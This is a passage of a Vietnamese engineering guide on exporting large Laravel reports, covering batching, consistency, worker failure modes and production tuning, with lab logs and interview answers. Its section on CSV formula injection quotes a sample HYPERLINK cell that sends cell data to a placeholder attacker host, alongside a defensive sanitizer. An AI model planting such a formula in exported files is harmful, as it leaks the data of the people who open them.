18:43:07 batch then(): concat 4 parts in 0.13s
18:43:14 batch then(): concat 8 parts in 0.14s
$jobs = [];
for ($i = 0; $i < $parts; $i++) {
    $jobs[] = new ExportPartJob($i * $size + 1, min($max, ($i + 1) * $size), "$dir/part-$i.csv");
}
Bus::batch($jobs)->then(function (Batch $b) use ($paths, $final) {
    $out = fopen($final, 'w');
    fwrite($out, "\xEF\xBB\xBF");
    Csv::put($out, Csv::HEAD);
    foreach ($paths as $p) { $in = fopen($p, 'r'); stream_copy_to_stream($in, $out); fclose($in); unlink($p); }
    fclose($out);
})->dispatch();

Cách nói khi phỏng vấn: "Em chia dải mã đơn hàng thành vài lát, mỗi lát một job ghi ra file riêng, đến khi cả nhóm job xong thì nối các file theo thứ tự, việc nối năm trăm nghìn dòng chỉ mất khoảng một phần mười giây. Đo trên máy bốn nhân: từ chín giây xuống năm giây với bốn worker, lên tám worker lại chậm hơn vì hết nhân và database phải phục vụ thêm kết nối. Cái giá là thêm bảng batch, thêm việc nối file và thêm chỗ có thể hỏng, nên em chỉ chia khi export đơn thật sự quá lâu với người dùng."

Chín giây xuống năm giây là ~1,9 lần với 4 worker, không phải 4 lần — đúng tinh thần Amdahl: phần không song song được (khởi động worker ~1s mỗi tiến trình, nối file, MySQL dùng chung 4 vCPU với PHP) chặn trần. 8 worker trên 4 vCPU chậm lại (5,5s). Trên production, nút cổ chai thật thường là database: 8 lát song song = 8 query quét cùng lúc trên primary đang phục vụ người dùng.

flowchart TD
  A["Export 500k dòng"] --> B["Chia dải id: 4 lát x 125k"]
  B --> C1["ExportPartJob 1<br/>part-0.csv"]
  B --> C2["ExportPartJob 2<br/>part-1.csv"]
  B --> C3["ExportPartJob 3<br/>part-2.csv"]
  B --> C4["ExportPartJob 4<br/>part-3.csv"]
  C1 --> D["Batch then(): nối theo thứ tự<br/>0,13s"]
  C2 --> D
  C3 --> D
  C4 --> D
  D --> E["final.csv: md5 trùng job đơn<br/>9,3s xuống 5,0s"]

4. Đảm bảo và giới hạn

4.1. Tính nhất quán của dữ liệu trong file

Export chạy hàng chục giây trên bảng đang được ghi. Lab: sau 1000 dòng đầu, một connection khác xoá id 1–5000, đổi total của id 400000 thành 1, và chèn 1000 dòng mới (out/08-consistency.log):

baseline: total(id=400000) = 2600000
chunk_offset  rows_in_file=496000 original=495000 new_rows=1000 skipped_existing=1000 total(id=400000)=1
by_id         rows_in_file=497000 original=496000 new_rows=1000 skipped_existing=0 total(id=400000)=1
by_id_max     rows_in_file=496000 original=496000 new_rows=0 skipped_existing=0 total(id=400000)=1
snapshot      rows_in_file=500000 original=500000 new_rows=0 skipped_existing=0 total(id=400000)=2600000
  1. OFFSET paging làm mất dòng đang tồn tại. skipped_existing=1000: 1000 dòng (id 5001–6000) vẫn còn trong bảng lúc kết thúc nhưng không có trong file. Lý do: đã đọc trang đầu (offset 0), xoá 5000 dòng phía trước, trang sau hỏi "bỏ qua 1000 dòng đầu" — nhưng 1000 dòng đầu giờ là id 5001–6000. Không lỗi, không cảnh báo.
  2. Keyset không mất dòng (luôn hỏi "id lớn hơn id cuối") nhưng không có cận trên: 1000 dòng chèn trong lúc chạy lọt vào file. Báo cáo "đơn hàng tới 14h" lại có đơn 14h05.
  3. Keyset + max_id chốt lúc bấm: không mất, không lọt dòng mới. Nhưng vẫn không phải ảnh chụp: dòng bị sửa sau khi export bắt đầu và trước khi được đọc tới sẽ mang giá trị mới (total=1), dòng bị xoá trước khi đọc tới thì mất. Đây là mức "mỗi dòng đúng tại thời điểm nó được đọc".
  4. Ảnh chụp thật: mở START TRANSACTION WITH CONSISTENT SNAPSHOT ở REPEATABLE READ rồi đọc trong transaction đó — cả 500 000 dòng với giá trị gốc. Cái giá: transaction mở suốt thời gian export, InnoDB phải giữ undo log cho mọi bản ghi bị sửa trong lúc đó (purge không dọn được). Lab chỉ thấy History list length 22 → 25 với vài chục nghìn dòng sửa, chưa đủ để đo tác hại ở quy mô lớn — chưa verify.
// Ảnh chụp nhất quán cho báo cáo tài chính/đối soát (MySQL InnoDB)
DB::statement('SET TRANSACTION ISOLATION LEVEL REPEATABLE READ');
DB::statement('START TRANSACTION WITH CONSISTENT SNAPSHOT');
DB::table('orders')->select(Csv::COLS)->where('id', '<=', $maxId)
    ->lazyById(1000)->each($write);       // mọi lô nhìn cùng một thời điểm
DB::statement('COMMIT');

Cách nói khi phỏng vấn: "Mặc định em đọc theo khoá kèm mã lớn nhất chốt lúc bấm: không mất dòng, không lẫn dòng mới, nhưng dòng bị sửa giữa chừng sẽ ra giá trị mới. Với báo cáo đối soát cần đúng tuyệt đối tại một thời điểm, em mở một transaction đọc ảnh chụp nhất quán và đọc mọi lô trong đó; đổi lại database phải giữ lịch sử thay đổi suốt thời gian chạy, nên em chạy nó trên replica. Còn phân trang bằng offset thì em cấm hẳn cho export: em đo được nó bỏ sót một nghìn dòng có thật khi có người xoá dữ liệu phía trước."

flowchart TD
  A["Cần mức nhất quán nào?"] --> B{"Báo cáo đối soát,<br/>số phải khớp tuyệt đối?"}
  B -- "có" --> C["Consistent snapshot trên replica<br/>500000/500000, giá trị gốc"]
  B -- "không" --> D["lazyById + max_id<br/>không mất, không lẫn dòng mới"]
  A -.-> E["Cấm: OFFSET paging<br/>mất 1000 dòng có thật"]

4.2. Các đảm bảo khác và giới hạn

5. Failure modes

Mỗi mục: triệu chứng → output thật → hệ quả (mất, trùng hay chậm) → phát hiện và phục hồi.

5.1. 504 nhưng PHP vẫn chạy, và người dùng bấm lại

Đã thấy ở 3.3: nginx trả 504 ở giây 15, PHP chạy tiếp tới 30,7s. Khi client tự bỏ (curl --max-time 5):

build: curl exit=28
stream: curl exit=28
18:22:11 pid=8 build start
18:22:16 pid=10 stream start
18:22:40 pid=8 build done rows=500000 time=29.2s connection_aborted=0

Bản dựng file chạy trọn 29,2s cho một người đã bỏ đi; bản stream thì dừng (không có dòng stream done) vì lần ghi tiếp theo vào socket đã đóng làm PHP huỷ script (ignore_user_abort mặc định tắt). Hệ quả: chậm và lãng phí, nhân lên khi người dùng F5. Phát hiện: 504 trong access log nginx đi kèm request PHP-FPM dài trong slowlog. Phục hồi: đưa vào queue; không "sửa" bằng cách tăng timeout.

5.2. File thiếu dòng với HTTP 200

Case E ở 3.3: 422 997/500 000 dòng, HTTP 200, curl exit 0. Hệ quả: mất dữ liệu mà không ai biết — báo cáo doanh thu thiếu 15% được gửi lên sếp. Phát hiện: chỉ thấy trong log FPM (execution timed out ... terminating); phía người dùng không có dấu hiệu nào. Phục hồi/phòng: không stream những export có thể chạy quá timeout; nếu buộc phải stream, ghi dòng cuối dạng "TỔNG: N dòng" để người đọc tự kiểm, hoặc gửi kèm số dòng mong đợi.

5.3. Export chiếm hết worker PHP-FPM

### G. 4 exports at once (= pm.max_children) while a normal page is requested
GET /up while pool busy: http=200 total=12.364291s
GET /up after: http=200 total=0.023422s

4 export trên pool 4 worker: một trang health-check bình thường 23ms đợi 12,4 giây. Hệ quả: chậm toàn site, và nếu LB health-check có timeout ngắn thì node bị rút khỏi pool — sập dây chuyền. Phục hồi: queue; nếu vẫn giữ export đồng bộ thì tách pool FPM riêng cho route export (bài Scale nginx + PHP-FPM, mục "Tách pool").

5.4. Worker hết RAM trên PHP 8.4.27: chết tức thì, failed() không chạy

Job Order::all() trên worker memory_limit=128M, $tries=2, retry_after=20 (out/06-worker-failures.log):

-- worker run 1 (19:38:17)
2026-10-28 18:38:17 App\Jobs\OomExportJob RUNNING
Hard memory limit of 268435456 bytes exhausted (tried to allocate 2097152 bytes) in /app/vendor/laravel/framework/src/Illuminate/Database/Connection.p
worker exit=137
jobs: id=1 attempts=1 reserved=yes
failed_jobs=0
-- worker run 2 right away: job is still reserved by the dead worker
worker exit=0
jobs: id=1 attempts=1 reserved=yes
-- worker run 3 after retry_after (19:38:43)
Hard memory limit of 268435456 bytes exhausted (tried to allocate 2097152 bytes) in /app/vendor/laravel/framework/src/Illuminate/Database/Connection.p
worker exit=137
jobs: id=1 attempts=2 reserved=yes
-- worker run 4 after retry_after (19:39:06)
2026-10-28 18:39:06 App\Jobs\OomExportJob 18.68ms FAIL
failed_jobs=1
failed_jobs.exception: Illuminate\\Queue\\MaxAttemptsExceededException: App\\Jobs\\OomExportJob has been attempted too many times.

Năm điều, trong đó điều đầu là mới với PHP 8.4.27:

  1. Thông báo là "Hard memory limit of 268435456" (256MB), không phải "Allowed memory size of 134217728" (128MB). Bản vá PHP2Shell (PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12) biến memory_limit thành giới hạn mềm và thêm giới hạn cứng mặc định gấp đôi (memory_hard_limit_percent). Vượt mềm: lỗi fatal như cũ ở điểm an toàn kế tiếp. Vượt cứng (khi mã C cấp phát liên tục mà không về điểm an toàn — ở đây là driver kéo cả kết quả buffered): in một dòng ra stderr và _exit(137), không shutdown function, không handler. Bối cảnh lỗ hổng ở bài Nâng cấp PHP 8.4 (PHP2Shell). Cùng code get() ở 3.1 chạy CLI với 256M thì ra lỗi mềm (exit 255) — đường nào xảy ra phụ thuộc chỗ cấp phát.
  2. Capacity planning phải tính theo giới hạn cứng: một worker memory_limit=128M có thể phình tới ~256MB trước khi bị giết. 8 worker = 2GB chứ không phải 1GB; container giới hạn thấp hơn thì OOM killer của kernel ra tay trước và tự chọn nạn nhân.
  3. failed() không chạy, failed_jobs trống, job nằm "reserved" của một worker đã chết. Export đứng ở running mãi trên giao diện. Chạy worker mới ngay lập tức cũng không lấy được (run 2).
  4. Sau retry_after job được giao lại, chết tiếp (attempts=2). Lần giao thứ ba mới vượt $tries và Laravel ghi MaxAttemptsExceededException — lúc đó failed() mới chạy. Thời gian từ lúc hỏng tới lúc người dùng thấy "thất bại" ≈ tries × retry_after (với retry_after 90s mặc định và 3 lần thử là 4–5 phút giao diện báo "đang chạy").
  5. Phục hồi: sửa cách đọc (mục 3.1), không nâng memory_limit. Thêm một lệnh định kỳ đánh dấu failed các export running mà updated_at quá cũ (tiến độ không đổi quá N phút) — vì failed() không đáng tin khi tiến trình chết cứng.

Cách nói khi phỏng vấn: "Từ bản vá PHP tháng mười, giới hạn bộ nhớ có hai mức: vượt mức thường thì vẫn là lỗi bình thường, nhưng vượt mức cứng, mặc định gấp đôi, thì tiến trình bị kết thúc ngay với mã 137. Em đo được worker giới hạn 128MB chết ở 256MB, hàm failed của job không được gọi, bảng failed_jobs trống, job bị giữ bởi worker đã chết cho tới khi hết thời gian chờ giao lại. Nên em tính RAM cho worker theo mức cứng, và có một tác vụ định kỳ đánh dấu thất bại những export lâu không cập nhật tiến độ."

sequenceDiagram
  participant Q as Bảng jobs
  participant W1 as Worker 1
  participant W2 as Worker 2
  participant UI as Giao diện
  W1->>Q: reserve job (attempts=1)
  Note over W1: Order::all() tới 256MB, exit 137
  UI->>UI: vẫn thấy running
  W2->>Q: poll, job đang reserved, bỏ qua
  Note over Q: hết retry_after 20s
  W2->>Q: reserve lại (attempts=2), chết tiếp
  Note over Q: hết retry_after lần nữa
  W2->>Q: attempts=3 vượt tries=2
  W2->>UI: failed(): status=failed

5.5. Job quá $timeout: file dở dang nằm lại trên đĩa

-- cleanup=false
2026-10-28 18:39:13 App\Jobs\SlowExportJob RUNNING
2026-10-28 18:39:18 App\Jobs\SlowExportJob 5s FAIL
worker exit=137
-- cleanup=true
2026-10-28 18:39:24 App\Jobs\SlowExportJob 5s FAIL
worker exit=137
left on disk: slow-nocleanup.csv 7395137 bytes
partial file lines: 39000
18:39:18 SlowExportJob failed(): Illuminate\Queue\TimeoutExceededException
18:39:24 SlowExportJob failed(): Illuminate\Queue\TimeoutExceededException -> partial file deleted

Khác với OOM, timeout do Laravel tự xử (tín hiệu SIGALRM qua pcntl): nó gọi failed() trước khi tự giết worker (exit 137), nên dọn file được. Không dọn thì file 7,4MB/39 000 dòng nằm lại — nếu có code nào "lấy file mới nhất trong thư mục", người dùng nhận file thiếu. Phòng: ghi ra tên tạm (.part), chỉ đổi tên/ghi path vào DB khi xong; dọn trong failed(); lifecycle rule xoá file tạm cũ.

5.6. --timeout lớn hơn retry_after: job chạy hai lần, trạng thái nhảy lung tung

Job thật chạy ~38s, $timeout=600, retry_after=20, 2 worker:

t=10s export: status=running processed=150000 error=-
t=20s export: status=failed processed=290000 error=App\\Jobs\\ExportOrdersJob has been attempted too many times.
t=30s export: status=failed processed=430000 error=App\\Jobs\\ExportOrdersJob has been attempted too many times.
t=40s export: status=done processed=500000 error=App\\Jobs\\ExportOrdersJob has been attempted too many times.
[w1]
2026-10-28 18:39:26 App\Jobs\ExportOrdersJob RUNNING
2026-10-28 18:40:04 App\Jobs\ExportOrdersJob 38s DONE
worker exit=0
[w2]
2026-10-28 18:39:46 App\Jobs\ExportOrdersJob RUNNING
2026-10-28 18:39:46 App\Jobs\ExportOrdersJob 89.39ms FAIL
worker exit=0
final export: status=done processed=500000 path=exports/1-7gkS11McpDUjgjvF.csv

Đúng giây 20, worker 2 coi job là "mất" và lấy lại. Vì $tries=1, nó lập tức ghi job thất bại và gọi failed() — giao diện báo thất bại trong khi worker 1 vẫn đang ghi file ngon lành; 18 giây sau lại thành done nhưng còn dính câu lỗi. Nếu $tries=3 thì thay vì báo sai sẽ là hai lần chạy thật song song. Tài liệu Laravel: --timeout phải ngắn hơn retry_after vài giây. Phòng: queue exports riêng với retry_after lớn hơn export dài nhất (vd 900s) và $timeout nhỏ hơn nó; done thì xoá cột error. Cùng loại bẫy ở bài Scale out queue worker (Bẫy 2).

sequenceDiagram
  participant W1 as Worker 1
  participant Q as jobs (retry_after 20s)
  participant W2 as Worker 2
  participant E as exports
  W1->>Q: reserve, attempts=1
  W1->>E: running, ghi file
  Note over Q: giây 20: coi như mất
  W2->>Q: reserve lại, attempts=2 vượt tries=1
  W2->>E: failed() - status=failed
  W1->>E: giây 38: status=done (error vẫn còn)

5.7. Bấm 5 lần → 5 export

Đã đo ở 3.4: không chống trùng → 5 export, 5 lần đọc cả bảng. Hệ quả: chậm gấp 5, và worker export bị chiếm hết nên export của người khác chờ. ShouldBeUnique chặn được job nhưng 4 request kia nhận 202 "ma" không có id; khoá ở cache, nên theo cơ chế thì cache bị flush sẽ giải phóng khoá sớm, còn job chết cứng thì khoá kẹt tới uniqueFor (suy ra từ tài liệu, chưa đo).

5.8. Unbuffered query: hai cái bẫy

cursor_unbuf_write ERROR after rows=1000: SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active.
cursor_unbuf_slow  ERROR after rows=16004: SQLSTATE[HY000]: General error: 2006 MySQL server has gone away
  1. 2014: trong lúc đang đọc dở kết quả unbuffered, connection đó không chạy được query nào khác — cập nhật tiến độ ở dòng 1000 là chết. Phải dùng connection thứ hai cho mọi ghi phụ.
  2. 2006: unbuffered nghĩa là MySQL đang đẩy dữ liệu và chờ PHP đọc. PHP dừng 5 giây (mô phỏng ghi chậm/upload S3) với net_write_timeout=2 thì MySQL cắt kết nối. Mặc định net_write_timeout là 60s — một bước xử lý chậm trong vòng lặp là đủ. Ngoài ra MySQL giữ tài nguyên của câu query suốt thời gian PHP đọc.

Vì vậy keyset (lazyById) — nhiều query ngắn, connection rảnh giữa các lô — an toàn hơn một cursor unbuffered dài.

5.9. Worker chạy bằng user khác web: link tải trả 500

Lần chạy đầu của lab 05, worker chạy bằng root, PHP-FPM bằng www-data (out/05b-worker-as-root.log, hai dòng cuối lấy bằng tay ngay sau lần chạy đó):

download: http=500 bytes=6665
local.ERROR: Unable to retrieve the file_size for file at location: exports/1-ymMKZG7LXc9DiuFS.csv.
drwx------ 2 root root     4096 Oct 28 19:32 .

Flysystem tạo thư mục với quyền "private" (0700) theo user của tiến trình tạo ra nó. Worker tạo, web không đọc được. Lỗi chỉ lộ ra khi người dùng bấm tải. Phòng: supervisor chạy queue:work bằng cùng user với PHP-FPM; hoặc dùng S3 (không có khái niệm user hệ điều hành).

5.10. Laravel Excel ở chế độ queue: mỗi chunk mở lại cả file

Source 4.0.6, Jobs/AppendQueryToSheet.php: mỗi job chunk gọi $writer->reopen($this->temporaryFile) (đọc lại toàn bộ xlsx vào PhpSpreadsheet), lấy trang bằng forPage() (OFFSET), thêm 1000 dòng, rồi write() lại toàn bộ file. Đo (out/10-laravel-excel-queued.log):


### rows=20000, chunk=1000, 1 worker (memory_limit=512M)
jobs queued: 1
worker runs (exit codes): 12 12 12 0   (queue:work --memory default 128 -> worker stops after a job once usage > 128MB)
wall=81.2s
AppendQueryToSheet jobs=20 first 3: 256.36ms 532.67ms 936.83ms  last 3: 5s 5s 6s 
Maatwebsite\Excel\Jobs\QueueExport 118.54ms DONE
Maatwebsite\Excel\Jobs\CloseSheet 6s DONE
Maatwebsite\Excel\Jobs\StoreQueuedExport 24.04ms DONE
file 0.9MB
### rows=50000, chunk=1000, 1 worker (memory_limit=512M)
jobs queued: 1
worker runs (exit codes): 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 0   (queue:work --memory default 128 -> worker stops after a job once usage > 128MB)
wall=480.1s
AppendQueryToSheet jobs=50 first 3: 433.91ms 562.99ms 845.05ms  last 3: 16s 18s 17s 
Maatwebsite\Excel\Jobs\QueueExport 573.54ms DONE
Maatwebsite\Excel\Jobs\CloseSheet 16s DONE
Maatwebsite\Excel\Jobs\StoreQueuedExport 44.96ms DONE
file 2.3MB

Chunk đầu 0,26–0,43s, chunk cuối 6s (20 nghìn dòng) và 16–18s (50 nghìn dòng): mỗi job đắt dần vì phải đọc-ghi lại file ngày càng lớn, nên tổng thời gian tăng theo bình phương số chunk — 2,5 lần số dòng (20k → 50k) tốn 5,9 lần thời gian (81,2s → 480,1s). Để so: fputcsv làm 500 nghìn dòng trong 6s, OpenSpout trong 37s. Worker còn tự dừng sau gần như mọi job ở bản 50k (33 lần exit 12): queue:work mặc định --memory=128, kiểm tra sau mỗi job và thoát khi vượt — hàng rào chặn rò rỉ, supervisor khởi động lại, nhưng mỗi lần khởi động lại tốn thêm thời gian boot. Điểm cộng của chế độ này: mỗi job ngắn hơn nhiều so với một job khổng lồ, ít nguy cơ chạm timeout. Điểm trừ: chậm theo bình phương và RAM mỗi job vẫn tỷ lệ với cả file.

5.11. CSV bị chèn công thức

Ghi chú do khách nhập =HYPERLINK("http://evil.example/?d="&A2,"Xem chi tiết") — mở bằng Excel thành link gửi dữ liệu ô A2 ra ngoài. OWASP khuyến nghị thêm dấu ' trước ô bắt đầu bằng = + - @, TAB, CR (out/09-csv-safety.log):

"=1+2"           -> "'=1+2"
"+84 cước"    -> "'+84 cước"
"-5"             -> "'-5"
"@SUM(A1)"       -> "'@SUM(A1)"
"\t=1"           -> "'\t=1"
"Nguyễn Văn A" -> "Nguyễn Văn A"
1500000          -> 1500000
-5               -> -5
cells starting with a raw '=':        0
cells starting with the safe "'=":   500
class Csv
{
    // Ô bắt đầu bằng = + - @ TAB CR bị Excel/Sheets hiểu là công thức → thêm ' phía trước
    public static function safe(mixed $v): mixed
    {
        return is_string($v) && $v !== '' && str_contains("=+-@\t\r", $v[0]) ? "'" . $v : $v;
    }

    // Số giữ nguyên kiểu số; chỉ chuỗi do người dùng nhập mới qua safe()
    public static function row(object $o): array
    {
        return [$o->id, self::safe($o->customer_name), self::safe($o->email), $o->status,
            $o->total, self::safe($o->note), (string) $o->created_at];
    }

    public static function put($fh, array $row): void
    {
        fputcsv($fh, $row, ',', '"', '');   // PHP 8.4: phải truyền $escape; '' = đúng RFC 4180
    }
}

Cách nói khi phỏng vấn: "Mọi chuỗi do người dùng nhập, nếu bắt đầu bằng dấu bằng, cộng, trừ, a còng hay ký tự tab, em thêm một dấu nháy đơn phía trước để Excel hiểu là chữ, không phải công thức. Số thì em để nguyên kiểu số nên không bị ảnh hưởng. Cái giá là chuỗi hợp lệ như số điện thoại có dấu cộng sẽ hiện thêm dấu nháy, nên em chỉ áp cho cột chữ do người dùng nhập và gom vào một hàm dùng chung cho mọi chỗ xuất file."

Hai chi tiết khác trong cùng lab: file bắt đầu bằng BOM ef bb bf (thiếu nó, Excel trên Windows mở UTF-8 thành "Nguyá»…n"); và trên PHP 8.4 gọi fputcsv không truyền $escape ra Deprecated: fputcsv(): the $escape parameter must be provided as its default value will change. Escape cũ "\\" còn sinh CSV sai chuẩn với chuỗi chứa \":

value: C:\path\"x"
escape="\\" (old default): "C:\path\"x"""
escape=""   (RFC 4180):      "C:\path\""x"""

6. Vận hành trong production

6.1. Đo cái gì

6.2. Cấu hình ảnh hưởng lớn

; config/queue.php — connection riêng cho export, retry_after > export dài nhất
'exports' => ['driver' => 'database', 'queue' => 'exports', 'retry_after' => 900, ...]

; supervisor: user = cùng user với PHP-FPM (mục 5.9)
command=php artisan queue:work exports --queue=exports --timeout=840 --memory=256 --max-jobs=200 --tries=1
user=www-data
numprocs=2

Cách nói khi phỏng vấn: "Export có hàng đợi và worker riêng, để báo cáo nặng không làm trễ email hay thông báo. Thời gian queue chờ trước khi giao lại job em đặt mười lăm phút, còn thời gian tối đa của job em đặt mười bốn phút, luôn nhỏ hơn, để không bao giờ có hai worker chạy cùng một export. Worker tự khởi động lại sau hai trăm job hoặc khi vượt hai trăm năm mươi sáu MB để chặn rò rỉ, và chạy cùng user với web để web đọc được file."

6.3. Capacity planning (ví dụ minh hoạ, dựng từ số đo lab)

6.4. Lúc 3h sáng

  1. Người dùng báo "export treo": xem bảng exports — status=running + processed không đổi + updated_at cũ → worker chết cứng. Tìm Hard memory limit/exited with code 137 trong log worker/supervisor.
  2. "File thiếu dòng": hỏi file đến từ route stream hay queue. Stream → tìm execution timed out trong log FPM (mục 5.2).
  3. "Link tải lỗi 500": quyền file (mục 5.9) hoặc file đã bị lifecycle xoá trước khi link hết hạn (hạn link phải ngắn hơn tuổi file).
  4. "Báo trạng thái thất bại nhưng vẫn có file": retry_after < thời gian chạy (mục 5.6).
  5. DB chậm cả hệ thống đúng giờ báo cáo: đếm export đang chạy, tạm dừng worker export (supervisorctl stop) — export chờ trong queue, người dùng chỉ chậm chứ không mất.

7. So sánh và ma trận quyết định

Phương ánRAMGiới hạn thời gianĐộ phức tạpUXHỏng thế nào
Excel::download / get() đồng bộO(N), 734MB+timeout nginx/FPMthấp nhấtchờ, dễ 504OOM, 504, F5 nhân đôi tải
streamDownload + lazyByIdphẳng, 4MB trong FPMrequest_terminate_timeoutthấptải ngay (TTFB 45ms)file thiếu dòng mà vẫn 200; chiếm worker web
Queue 1 job CSV + signed URLphẳng, 32MB$timeout của job (tuỳ đặt)trung bình: bảng exports, polling/notificationchờ có tiến độOOM/timeout báo rõ ràng nếu cấu hình đúng
Queue + OpenSpout XLSXgần phẳngnhư trên, chậm hơn ~6xtrung bìnhfile Excel thật, nhỏ hơn 4,5xnhư trên
Bus::batch chia látphẳng mỗi jobngắn hơn ~1,9x với 4 workercao: batch, nối file, huỷnhanh hơnmột lát hỏng → cả batch; đè DB
Laravel Excel queued (FromQuery)O(N) mỗi jobmỗi job ngắnthấp (khai báo)file Excel đẹpchậm theo bình phương: 50k dòng 480s
Đẩy cho DB / BI (SELECT ... INTO OUTFILE, COPY, Metabase)ngoài PHPngoài PHPthêm hạ tầng/quyềntự phục vụquyền dữ liệu, không qua logic ứng dụng — không lab trong bài này

Dùng khi nào:

Tránh khi nào: đừng xuất đồng bộ bằng get() ở bất kỳ kích thước nào có thể tăng; đừng stream export có thể vượt timeout FPM; đừng dùng Laravel Excel queued cho hàng trăm nghìn dòng; đừng chia batch trên primary đang chịu tải.

8. Góc nhìn tech lead: tác động tổ chức

ADR mẫu (chép được): Bối cảnh: export đồng bộ gây OOM và 504 khi bảng orders vượt 100 nghìn dòng. Quyết định: mọi export trên 10 nghìn dòng chạy trong queue exports riêng; đọc bằng keyset + toBase + max_id; CSV mặc định, OpenSpout khi cần XLSX; giao file bằng signed URL 30 phút; file xoá sau 72 giờ. Hệ quả: người dùng chờ có tiến độ thay vì tải ngay; thêm 1 bảng, 1 queue, 2 worker; RAM mỗi export ~32MB không phụ thuộc kích thước. Xem lại khi: export đồng thời > 10 hoặc báo cáo vượt 5 triệu dòng (cân nhắc BI).

9. Anti-patterns và bài học thực tế

  1. Nâng memory_limit để sửa OOM. Đẩy điểm chết ra xa, và từ PHP 8.4.27 một worker còn được phình tới gấp đôi con số đó. Case 2 của bài Tối ưu Laravel là đúng kịch bản này.
  2. Tin FromQuery/chunk là RAM phẳng. Laravel Excel 100 nghìn dòng vẫn 610MB.
  3. cursor() nghĩ là stream. Buffered mặc định, 125,6MB; tài liệu Laravel đã cảnh báo.
  4. chunk() có OFFSET trên bảng đang ghi. Mất dòng thật, không lỗi (mục 4.1). Còn chậm gấp 5 lần.
  5. Stream export dài và tin HTTP 200. File 422 997/500 000 dòng.
  6. Tăng timeout nginx/FPM cho route export. Không có trần nào đúng; mỗi lần tăng là thêm thời gian giữ worker web.
  7. retry_after mặc định 90s với job export 5 phút. Job chạy hai lần hoặc báo thất bại giả.
  8. Dựa vào failed() để dọn trạng thái. Không chạy khi tiến trình chết cứng (137).
  9. Lưu file ở public/ với tên đoán được (orders-123.csv): ai đoán được id là tải được.
  10. Không chống formula injection vì "chỉ admin xuất" — dữ liệu do khách nhập, admin mới là người mở file.
  11. Gửi file qua email làm đính kèm. File 92MB vượt giới hạn mọi mail server; gửi link.

Điều tài liệu chính thức không nói nhưng người vận hành lâu năm đều biết: export là tính năng hay bị dùng sai mục đích nhất — người dùng xuất cả bảng mỗi sáng để tự lọc trong Excel. Khi thấy cùng một người xuất cùng báo cáo mỗi ngày, câu hỏi đúng là "họ cần màn hình gì", không phải "làm sao xuất nhanh hơn".

10. Câu hỏi phụ interviewer hay hỏi tiếp

"chunk và lazy khác nhau gì? cursor thì sao?"

Cùng chạy theo lô, khác cách trả kết quả: chunk gọi callback với từng Collection, lazy trả một LazyCollection phẳng. Điều quan trọng hơn là bản có ById hay không (keyset vs OFFSET: 9,5s vs 45,8s và không mất dòng). cursor một query duy nhất, hydrate từng Model, nhưng driver vẫn buffer cả kết quả thô (125,6MB) trừ khi tắt buffer — và tắt thì không chạy query khác được trên connection đó.

"Vì sao không dùng Laravel Excel cho tất cả?"

Nó là lớp bọc PhpSpreadsheet, giữ mọi ô trong RAM (~1KB/ô): 100 nghìn dòng 610MB. Chế độ queue mỗi chunk đọc lại cả file: 50 nghìn dòng 480s. Tốt cho báo cáo nhỏ cần định dạng.

"User bấm Xuất 5 lần thì sao?"

Unique index trên khoá (user, bộ lọc) của export đang chạy: 1 cái 202, 4 cái 200 trả cùng id. ShouldBeUnique chỉ chặn ở mức queue, 4 request kia không biết theo dõi gì. Cộng throttle 3/phút/user.

"Worker chết giữa chừng thì sao?"

Chết vì timeout: Laravel gọi failed() trước khi thoát, dọn file được. Chết cứng (OOM hard limit, SIGKILL): failed() không chạy, job nằm reserved tới retry_after, có thể được chạy lại. Nên job phải chạy lại được (file tên mới, trạng thái theo id) và có watchdog đánh dấu export không cập nhật tiến độ quá N phút.

"Dữ liệu thay đổi trong lúc xuất thì file có đúng không?"

Keyset + max_id: không mất dòng, không lẫn dòng mới, nhưng dòng bị sửa giữa chừng mang giá trị mới. Cần ảnh chụp tuyệt đối thì START TRANSACTION WITH CONSISTENT SNAPSHOT, chạy trên replica vì transaction dài giữ undo log.

"Sao không stream luôn cho nhanh, khỏi queue?"

Được, khi chắc xong trong vài giây. Quá timeout FPM thì người dùng nhận file thiếu dòng kèm HTTP 200 — không có cách báo lỗi sau khi header đã gửi. Và stream vẫn chiếm một worker web suốt thời gian chạy.

"File 2GB thì gửi cho người dùng thế nào?"

Không đi qua PHP: lưu S3, temporaryUrl (presigned), trình duyệt tải thẳng từ S3. Nếu ở disk local thì X-Accel-Redirect/X-Sendfile để nginx gửi file (chưa lab trong bài này). Nén gzip/zip trước khi lưu.

"Làm sao báo cho người dùng khi xong?"

Ba mức tăng dần độ phức tạp: polling GET /exports/{id} mỗi 2–5 giây (lab dùng cách này); notification database + chuông thông báo; broadcast qua WebSocket (Reverb/Pusher). Email kèm link cho export rất lâu. Không đính kèm file vào email.

"Xuất cho 1 triệu dòng thì mất bao lâu?"

Ngoại suy tuyến tính từ lab (500 nghìn dòng: 6–9s CSV, 37s OpenSpout): khoảng 12–18s CSV và ~75s XLSX trên máy tương tự — đây là ước lượng, chưa đo 1 triệu. Quan trọng hơn con số là RAM không đổi và thời gian tuyến tính, nên 10 triệu cũng chạy, chỉ lâu hơn.

"Chia song song có nhanh gấp N lần không?"

Không: 4 worker được 1,9 lần, 8 worker còn chậm hơn 4 trên máy 4 nhân. Phần không song song được và database dùng chung chặn trần (Amdahl).

Phụ lục: lab đã chạy

Môi trường: Docker trên host Linux 6.8, 4 vCPU dùng chung. Container tmp-export-mysql (mysql:8.4.13, giới hạn 1GB, innodb_buffer_pool_size=256M, tắt binlog), tmp-export-php (image tự build từ php:8.4-fpm-alpine + pdo_mysql, zip, gd, pcntl, opcache; FPM 4 child static, memory_limit=128M, request_terminate_timeout=40s), tmp-export-nginx (nginx:alpine, chỉ nghe 127.0.0.1:18480, fastcgi_read_timeout 15s). Laravel 12.70.2 cài mới, queue + cache driver database, DB_QUEUE_RETRY_AFTER=20. Lệnh artisan chạy CLI (opcache tắt) nên số MB ở CLI cao hơn trong FPM (stream: 28MB CLI vs 4MB FPM).

cd labs/laravel/xuat-bao-cao-nang
# lib.sh tự lấy thư mục chứa script; app/ Laravel được tạo cạnh script
bash 00-setup.sh      # build image, dựng MySQL + Laravel + nginx, migrate
bash 01-seed.sh       # 500k đơn hàng + bản sao orders_src để khôi phục
bash 02-fetch.sh      # ... lần lượt tới 10
bash 99-cleanup.sh    # xoá container, network, image
ScriptLàm gìMục
